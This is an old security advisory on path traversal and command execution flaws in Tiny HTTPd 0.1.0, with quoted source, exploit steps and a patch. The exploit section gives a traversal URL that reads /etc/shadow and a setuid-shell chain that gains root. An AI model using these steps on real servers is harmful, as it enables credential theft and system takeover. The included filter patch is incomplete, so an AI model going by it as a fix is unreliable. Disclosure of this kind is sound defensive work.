
INetCop Security Advisory #2002-0x82-001

* Title: Multiple vulnerabilities in Tiny HTTPd.

0x01. Description

Tiny HTTP daemon is web server that do simple very.

Vulnerability and executable vulnerability that this web server can read file in remote exist.

And is exposed in some buffer overflow vulnerability.

Vulnerability can find in line under 'httpd.c'.

```
—
110     cgi = 1;
111     if (!cgi) // because cgi is not, read file.
112         serve_file(client, path);
113     else
114         execute_cgi(client, path, method, query_string); // cgi executes.
115 }

116 close(client);
117 }
--
```

Can see serve_file() in line:359.

```
—
359 void serve_file(int client, const char *filename)
...
367     resource = fopen(filename, "r");
...
373     cat(client, resource);
```

--

Display file that read cat() in line:143.

```
—  
143 void cat(int client, FILE *resource)  
    ...  
149     send(client, buf, strlen(buf), 0);  
--
```

Can examine function that execute cgi in line:185.

```
—  
185 void execute_cgi(int client, const char *path,  
186                  const char *method, const char *query_string)  
    ...  
249     execl(path, path, NULL);  
250     exit(0);  
--
```

Vulnerability happens because web server does not filter "../".
Herewith, vulnerability can do exploit.

0x02. Vulnerable Packages

Vendor site: <http://tinyhttpd.sourceforge.net/>

tinyhttpd 0.1.0

- tinyhttpd-0.1.0.tar.gz

+SunOS/Solaris

+Linux

+Other

0x03. Exploit

Remote show files exploit, command execution exploit !

1) Web server can be executed as root competence. As following, read interior local file.

```
http://tiniwebserver/../../../../../../../../etc/shadow
```

2) Local root acquisition does exploit as following.

```
bash$ cat > test; chmod +x test
```

```
#!/bin/sh
```

```
cp /bin/sh /tmp/sh
```

```
chmod 4755 /tmp/sh
```

```
^C
```

```
bash$
```

Connected in remote.

```
bash$ lynx http://localhost/../../../../../../../../tmp/test
```

```
bash$ /tmp/sh -i
```

```
bash#
```

0x04. Patch

=== httpd.patch ===

```
--- httpd.c      Sun Apr 22 09:13:13 2001
+++ httpd.patch.c    Thu Oct 17 19:07:41 2002
@@ -55,6 +55,7 @@
     char method[255];
     char url[255];
     char path[512];
+ int t;
     size_t i, j;
     struct stat st;
     int cgi = 0;      /* becomes true if server decides this is a CGI
@@ -88,6 +89,15 @@
     i++; j++;
 }
     url[i] = '\0';
+
+ for(t=0;t<strlen(url);t++)
+ {
+     if(url[t] == '.' && url[t+1] == '.' && url[t+2] == '/')
+     {
+         url[t] = '/';
+         url[t+1] = '/';
+     }
+ }

     if (strcasecmp(method, "GET") == 0)
     {

=== eof ===
```

P.S: Sorry, for my poor english.

--

By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: [szoahc\(at\)hotmail\(dot\)com](mailto:szoahc@hotmail.com),
[xploit\(at\)hackermail\(dot\)com](mailto:xploit@hackermail.com)

INetCop Security Home: <http://www.inetcop.org/> (Korean hacking game)

My World: <http://x82.i21c.net/>

GPG public key: <http://wizard.underattack.co.kr/~x82/h0me/pr0file/x82.k3y>

--